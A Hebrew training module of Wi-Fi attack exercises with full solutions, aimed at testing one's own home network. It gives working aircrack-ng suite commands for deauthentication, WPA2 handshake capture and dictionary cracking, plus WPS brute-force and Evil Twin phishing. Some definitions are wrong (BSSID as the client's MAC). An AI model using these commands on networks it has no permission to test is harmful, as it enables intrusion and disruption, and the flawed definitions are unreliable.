

מודול 14 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 14: תקיפות אלוטיות

2.  פתרונות מלאים — מודול 14: תקיפות אלוטיות

תרגילים — מודול 14: תקיפות אלחוטיות 🎯

⚠️ רק על רשת אלחוטית שבבעלותך או שקיבלת עליה אישור בכתב. האזנה/תקיפה של רשת זרה = עבירה פלילית. חלק מהתרגילים דורשים מתאם **Wi-Fi עם Monitor Mode**; מי שאין לו — יבצע את תרגילי הפיצוח (על קובצי `.cap`) והתיאוריה. פתרונות ב- `solutions.md`.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: **Kali** + מתאם **Wi-Fi USB** שתומך ב-**Monitor Mode** ו-**Injection** (הכרטיס המובנה לרוב לא מספיק, וגם לא עובד ב-VM ללא `USB passthrough`). **אין חומרה? תרגל את התיאוריה** ואת תרגילי הפיצוח על קובץ `.cap` להורדה.
- **איך עובדים:** קרא קודם את ה-`README.md`. למשימות עם פקודה — **הפקודה מופיעה** + מה לחפש; לרעיונות 💡 **רמז**.
- **נתקעת?** אם `airmon-ng` לא נכנס ל-`monitor mode` — הכרטיס/דרייבר לא תומך. נסה, ואז הצץ ב-`solutions.md`.
- **טיפ:** התרגיל הכי חשוב — בדוק את הרשת שלך בבית. רוב האנשים מגלים שהסיסמה שלהם ב-`rockyou`.

🌐 איפה לתרגל — שתי דרכים

- **TryHackMe** ☁️ (בדפדפן, ללא התקנה): ⚠️ תקיפת Wi-Fi אמיתית לא אפשרית בדפדפן; אפשר לתרגל את שלב הפיצוח על קבצי `.cap` להורדה.
- **Kali** 🐧 (מקומי): הדרך העיקרית — מתאם **USB עם Monitor Mode** + `aircrack-ng` / `airodump-ng`.

מקרא רמות: 🟢 קל • 🟡 בינוני • 🟠 מתקדם • 🔴 אתגר

🎮 האתגר הגדול — פצח את ה-Wi-Fi שלך

האתגר הכי מספק: לכוד את ה-Handshake של הרשת האלחוטית שלך בבית (בעלות מלאה!) ופצח אותה. תגלה בעצמך אם הסיסמה שלך חזקה מספיק.

🏆 **אתגר:** לכוד Handshake → הרץ aircrack-ng עם rockyou → האם הסיסמה שלך שרדה? ⚠️ דורש מתאם USB עם Monitor Mode. אין? תרגל את שלב הפיצוח על קובץ .cap. להורדה. ✅ הצלחה: פיצחת (או אישרת שהסיסמה חזקה) — ותשדרג אותה אם צריך.

חלק א' — תיאוריה וסביבה (🟢)

14.1 — הסבר את ההבדל בין SSID ו-Client. מהו Beacon Frame? 💡 רמז: §14.1 README. ✅ הצלחה: SSID=שם, BSSID=MAC של ה-Client, AP=מכשיר מחובר, Beacon=שידור נוכחות.

14.2 — סדר את WEP, WPA, WPA2, WPA3 מהחלש לחזק. מדוע WEP “שבורי”? 💡 רמז: README §14.2. ✅ הצלחה: הסדר נכון + הסבר חולשת ה-IV של WEP.

14.3 — הפעל Monitor Mode ואמת. 🟢

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0
iwconfig wlan0mon
```

👁️ **חפש:** Mode:Monitor בפלט של iwconfig. ✅ הצלחה: המתאם במצב Monitor (wlan0mon).

חלק ב' — סריקה ולכידה (🟠🟡)

14.4 — סרוק את הרשתות בסביבתך וזהה את הרשת שלך. 🟡

```
sudo airodump-ng wlan0mon
```

👁️ **חפש:** בטבלה — CH, BSSID (ערוץ), ESSID, ENC (WPA2) של הרשת שלך. רשום אותם. ✅ הצלחה: יש לך BSSID + ערוץ + הצפנה של הרשת שלך.

14.5 — התמקד ברשת שלך ולכוד Handshake. 🟠

```
sudo airodump-ng --bssid <BSSID> -c <ערוץ> -w capture wlan0mon
```

👁️ **חפש:** למעלה מופיע `WPA handshake: <BSSID>` — סימן שלכדת.  הצלחה: לכדת את ה-Handshake לקובץ.

14.6 🟡 — בצע **Deauth** על מכשיר שלך כדי לזרוז את הלכידה.

```
sudo aireplay-ng --deauth 5 -a <BSSID> -c <client-mac> wlan0mon
```

💡 רמז: §14.5 README. מעט חבילות (5) מספיקות — המטרה חיבור מחדש אחד, לא DoS.  הצלחה: המכשיר התנתק והתחבר מחדש, וה-Handshake נלכד.

חלק ג' — פיצוח ומתקדם (🟡)

14.7 🟡 — פצח את ה-Handshake.

```
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# או hashcat:
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

👁️ **חפש:** `KEY FOUND!` [הסיסמה] — אם הסיסמה במילון.  הצלחה: פיצחת (או קבעת שהסיסמה חזקה מדי — וזה טוב!).

14.8 🟡 — זהה רשת עם **WPS** פעיל. למה WPS וקטור תקיפה?

```
sudo wash -i wlan0mon
```

💡 רמז: §14.7 README. ה-PIN בן 8 ספרות → brute-force עם reaver.  הצלחה: זיהית אם WPS פעיל והסברת את הסיכון.

14.9 🟡 — הסבר כיצד **Evil Twin** מצליח גם מול WPA2 חזק. 💡 רמז: §14.7 README. הוא לא תוקף הצפנה — מרמה את המשתמש.  הצלחה: הסברת שהוא עוקף הצפנה דרך הטעיה (הנדסה חברתית).

🔴 אתגר מסכם — “בדיקת אבטחת ה-Wi-Fi הביתי”

על הרשת האלחוטית שלך בבית (בעלות מלאה):

1. סרוק וזהה את פרטי הרשת (BSSID, ערוץ, הצפנה).

2. לכוד Handshake (עם Deauth של מכשיר שלך).

3. נסה לפצח עם rockyou. **האם הסיסמה שלך שרדה?**

4. בדוק אם WPS פעיל.

5. **תעד דוח:** ממצאים (WPS? חוזק סיסמה?), והמלצות (WPA3, סיסמה חזקה, כיבוי WPS).

💡 רמז: כל השלבים בתרגילים 14.3–14.8. מבנה דוח ב- [solutions.md](#).  הצלחה: דוח על הרשת שלך + המלצות שיפור.

 בדיקה זו על הרשת שלך בטוחה, חוקית וחושפת — אם הסיסמה שלך נמצאה, שדרג אותה מיד.

✅ רשימת בקרה — לפני מעבר למודול 15

- ☐ אני מבין SSID/BSSID/Client ואת הבדלי WPA3 → WEP
- ☐ אני מפעיל Monitor Mode
- ☐ אני סורק רשתות עם airodump-ng
- ☐ אני מבצע Deauth ולוכד Handshake
- ☐ אני מפצח WPA2 עם aircrack-ng/hashcat
- ☐ אני מבין WPS ו-Evil Twin
- ☐ אני יודע להמליץ הגנות (סיסמה חזקה, WPA3, כיבוי WPS)

פתרונות מלאים: [solutions.md](#)

✅ פתרונות מלאים — מודול 14: תקיפות אלחוטיות

נסה לבד ב- [missions.md](#) קודם. רק על רשת שבבעלותך.

חלק א' — תיאוריה וסביבה

14.1 — **SSID** = שם הרשת; **BSSID** = כתובת MAC של ה-**Client**; **AP** = מכשיר מחובר. **Beacon** = מסגרת שה-AP משדר ברציפות להכריז על נוכחותו.

14.2 — **WEP < WPA < WPA2 < WPA3**. WEP “שבור” בגלל חולשת ה-**IV** (Initialization Vector) — **נפצח** תוך דקות ללא קשר לחוזק הסיסמה.

14.3 — Monitor Mode מאפשר האזנה לכל התעבורה באוויר (לא רק לרשת מחוברת).

```
sudo airmon-ng check kill
sudo airmon-ng start wlan0      # → wlan0mon
iwconfig wlan0mon               # Mode:Monitor ✓
```

חלק ב' — סריקה ולכידה

14.4

```
sudo airodump-ng wlan0mon
# של הרשת שלך ESSID, CH, ENC (WPA2), BSSID, מזהים בטבלה
```

14.5

```
sudo airodump-ng --bssid AA:BB:CC:11:22:33 -c 6 -w capture wlan0mon
```

מצליחים כשמופיע למעלה: **WPA handshake: AA:BB:CC:11:22:33**.

14.6

```
sudo aireplay-ng --deauth 5 -a AA:BB:CC:11:22:33 -c <my-client> wlan0mon
```

מעט חבילות (5) מספיקות כי מטרתנו רק לגרום לניתוק+חיבור מחדש אחד ללכידת ה-Handshake — לא DoS.

חלק ג' — פיצוח ומתקדם

14.7

```
sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
# או hashcat:
hcxpcapngtool -o hash.hc22000 capture-01.cap
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

אם הסיסמה במילון — תוצג; אם חזקה — הפיצוח נכשל (וזה טוב).

14.8

```
sudo wash -i wlan0mon
```

WPS פגיע כי ה-PIN בן 8 ספרות ניתן ל-brute-force (reaver) — פורץ את WPA2 בלי לפצח את הסיסמה עצמה.

14.9 — Evil Twin: מקימים AP מזויף עם אותו SSID; הקורבן מתחבר בטעות ומקבל דף התחברות מזויף שגונב את הסיסמה. מסוכן כי הוא עוקף את ההצפנה לגמרי — לא מפצחים WPA2, אלא מרמים את המשתמש (הנדסה חברתית).

אתגר מסכם — מבנה דוח

```
# ביתי Wi-Fi דוח בדיקת

## ממצאים
- הצפנה: WPA2-PSK (CCMP)
- WPS: פועיל ← סיכון (אפשרי brute-force)
- תוך 3 דקות ← קריטי rockyou-סיסמה: נמצאה ב

## המלצות
1. החלף סיסמה ל-15+ תווים אקראיים (לא במילון)
2. בממשק הראוטר WPS כבה
3. אם נתמך WPA3-שדרג ל
4. הפרד רשת אורחים
```

עברת? בדקת רשת אמיתית באופן חוקי. המשך למודול 15.